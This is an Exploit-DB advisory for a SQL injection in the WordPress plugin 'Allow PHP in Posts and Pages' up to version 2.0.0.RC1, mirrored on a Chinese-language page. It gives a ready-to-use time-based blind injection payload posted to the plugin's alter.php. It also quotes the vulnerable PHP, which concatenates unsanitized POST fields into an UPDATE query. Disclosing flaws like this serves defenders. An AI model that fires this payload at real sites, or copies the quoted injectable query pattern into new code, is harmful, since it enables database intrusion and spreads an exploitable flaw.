WordPress Plugin Allow PHP in Posts and Pages 2.0.0.RC1 – SQL Injection

  • 作者: Miroslav Stampar
    日期: 2011-08-18
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/17688/
  • # Exploit Title: WordPress Allow PHP in Posts and Pages plugin <= 2.0.0.RC1 SQL Injection Vulnerability
    # Date: 2011-08-18
    # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
    # Software Link: http://downloads.wordpress.org/plugin/allow-php-in-posts-and-pages.zip
    # Version: 2.0.0.RC1 (tested)
    
    ---------------
    PoC (POST data)
    ---------------
    http://www.site.com/wp-content/plugins/allow-php-in-posts-and-pages/alter.php
     allowPHPNonce=-1&action=modify&function=-1&id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)
    
    ---------------
    Vulnerable code
    ---------------
    if(!isset($_POST['allowPHPNonce'])){
    if ( !wp_verify_nonce( $_POST['allowPHPNonce'], plugin_basename(__FILE__) )) {header("location:".$refer);}
    }
    else{
    if(!isset($_POST['action']) || !defined ('ABSPATH')){header("location:".$refer);}
    if(isset($_POST['id'])){$id = $_POST['id'];}else{$id='0';}
    if(isset($_POST['function'])){$function = $_POST['function'];}else{$function="";}
    if(isset($_POST['name'])){$name = $_POST['name'];}else{$name="";}
    $action = $_POST['action'];
    
    		#delete
    if($action == "delete"){
    
    ...
    
    elseif($action == "modify" && $function != ""){
    $sql = "update ".$wpdb->prefix."allowPHP_functions set function='".$function."', name='".$name."' where id = ".$id;
    $results = $wpdb->get_results($wpdb->prepare($sql));